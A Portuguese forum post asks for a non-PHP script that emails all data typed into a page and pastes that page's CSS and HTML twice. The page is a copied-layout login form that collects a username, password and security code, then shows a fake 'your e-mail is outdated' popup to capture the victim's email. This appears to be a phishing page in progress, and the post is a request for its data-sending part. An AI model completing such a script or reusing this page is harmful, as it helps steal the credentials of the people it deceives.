Galera é o seguinte... eu preciso de um script que faça enviar dados por e-mail. Vejam esta página: http://staffergroupbr.stuning.net/h17-
O layout está copiado, mas estou ajudando um amigo criar um servidor e essa é uma das páginas. Em fim...
Quando você clica no botão enviar, ele exibe uma mensagem solicitando o e-mail do usuário, depois temos um botão para Confirmar!
Gostaria que ao clicar em Confirmar, seja enviado um e-mail com as informações digitadas em todos os campos.
Lembrando que não pode ser php... pois a plataforma onde a página está não aceita php. mas se vc souber uma outra forma de hospedar a página gratuitamente poderá ser php.
Source da página:
Código :
O layout está copiado, mas estou ajudando um amigo criar um servidor e essa é uma das páginas. Em fim...
Quando você clica no botão enviar, ele exibe uma mensagem solicitando o e-mail do usuário, depois temos um botão para Confirmar!
Gostaria que ao clicar em Confirmar, seja enviado um e-mail com as informações digitadas em todos os campos.
Lembrando que não pode ser php... pois a plataforma onde a página está não aceita php. mas se vc souber uma outra forma de hospedar a página gratuitamente poderá ser php.
Source da página:
Código :
<style>
.poup-upbas {
position: fixed;
top: 0px;
background: rgba(0,0,0,.4);
z-index: 999;
left: 0px;
width: 100%;
height: 100%;
display: none;
}
.poup-up {
background: none repeat scroll 0% 0% #FFF;
padding: 10px;
border-radius: 8px;
box-shadow: 0px 0px 15px #000;
position: fixed;
top: 45%;
left: 25%;
}
#content-container div#right {
height: 0px !important;
}
.heabodu {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t103.png') no-repeat scroll 0% 0% transparent;
height: 80px;
display: block;
margin-left: 0px;
width: 790px;
margin-top: 0px;
color: transparent;
}
.headaer {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t102.png') no-repeat scroll 0% 0% #fff;
display: block;
width: 770px;
text-align: left !important;
padding: 220px 10px 0px;
}
.quad {
padding: 10px;
width: 70%;
border: 1px solid #EAEAEA;
background-color: #FAFAFA;
font-size: 13px;
}
#net {
background: none repeat scroll 0% 0% #3A3A3A;
display: block;
position: fixed;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
z-index: 99;
padding-top: 30px;
}
input {
padding: 3px;
border: 1px solid #AAA;
font: 1em Verdana,sans-serif;
color: #777;
}
input.button22 {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t110.png') no-repeat scroll 0% 0% / 100% 100% transparent;
color: transparent;
border: none;
width: 65px;
}
.prb_alert {
font-size: 16px;
}
#snhaz {
width: 280px;
border-radius: 5px;
}
.button25 {
padding: 2px !important;
border-radius: 5px;
}
</style>
<div id="net">
<center>
<div class="headaer">
<div class="quad">
<b>Login</b><br/>
<input id="login" class="prev" type="text" name="nome" required/><br/><br/>
<b>Senha</b><br/>
<input id="snha" class="prev" type="password" name="nome" required/><br/><br/>
<b>Código</b><br/>
<img src="http://i56.servimg.com/u/f56/17/71/75/73/sem_t101.png" class="securit_code"/><br/><br/>
<b>Código de segurança</b><br/>
<input id="securit" class="prev" type="text" name="nome" required/><br/><br/>
<input class="button22" type="submit" onclick="jQuery('.poup-upbas').css('display','block');" name="post"/>
</div>
</div>
<div class="heabodu">123</div>
</center>
</div>
<div class="poup-upbas">
<div class="poup-up">
<span class="prb_alert">Temos um problema!</span><br/>
Parece que seu e-mail está desatualizado, confirme seu e-mail para acessar o shopping.<br/>
<input id="snhaz" class="prev" type="email" name="nome" required/>
<input class="button25" type="submit" onclick="jQuery('.poup-upbas').css('display','none');" value="Confirmar" name="post"/>
</div></div>
.poup-upbas {
position: fixed;
top: 0px;
background: rgba(0,0,0,.4);
z-index: 999;
left: 0px;
width: 100%;
height: 100%;
display: none;
}
.poup-up {
background: none repeat scroll 0% 0% #FFF;
padding: 10px;
border-radius: 8px;
box-shadow: 0px 0px 15px #000;
position: fixed;
top: 45%;
left: 25%;
}
#content-container div#right {
height: 0px !important;
}
.heabodu {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t103.png') no-repeat scroll 0% 0% transparent;
height: 80px;
display: block;
margin-left: 0px;
width: 790px;
margin-top: 0px;
color: transparent;
}
.headaer {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t102.png') no-repeat scroll 0% 0% #fff;
display: block;
width: 770px;
text-align: left !important;
padding: 220px 10px 0px;
}
.quad {
padding: 10px;
width: 70%;
border: 1px solid #EAEAEA;
background-color: #FAFAFA;
font-size: 13px;
}
#net {
background: none repeat scroll 0% 0% #3A3A3A;
display: block;
position: fixed;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
z-index: 99;
padding-top: 30px;
}
input {
padding: 3px;
border: 1px solid #AAA;
font: 1em Verdana,sans-serif;
color: #777;
}
input.button22 {
background: url('http://i56.servimg.com/u/f56/17/71/75/73/sem_t110.png') no-repeat scroll 0% 0% / 100% 100% transparent;
color: transparent;
border: none;
width: 65px;
}
.prb_alert {
font-size: 16px;
}
#snhaz {
width: 280px;
border-radius: 5px;
}
.button25 {
padding: 2px !important;
border-radius: 5px;
}
</style>
<div id="net">
<center>
<div class="headaer">
<div class="quad">
<b>Login</b><br/>
<input id="login" class="prev" type="text" name="nome" required/><br/><br/>
<b>Senha</b><br/>
<input id="snha" class="prev" type="password" name="nome" required/><br/><br/>
<b>Código</b><br/>
<img src="http://i56.servimg.com/u/f56/17/71/75/73/sem_t101.png" class="securit_code"/><br/><br/>
<b>Código de segurança</b><br/>
<input id="securit" class="prev" type="text" name="nome" required/><br/><br/>
<input class="button22" type="submit" onclick="jQuery('.poup-upbas').css('display','block');" name="post"/>
</div>
</div>
<div class="heabodu">123</div>
</center>
</div>
<div class="poup-upbas">
<div class="poup-up">
<span class="prb_alert">Temos um problema!</span><br/>
Parece que seu e-mail está desatualizado, confirme seu e-mail para acessar o shopping.<br/>
<input id="snhaz" class="prev" type="email" name="nome" required/>
<input class="button25" type="submit" onclick="jQuery('.poup-upbas').css('display','none');" value="Confirmar" name="post"/>
</div></div>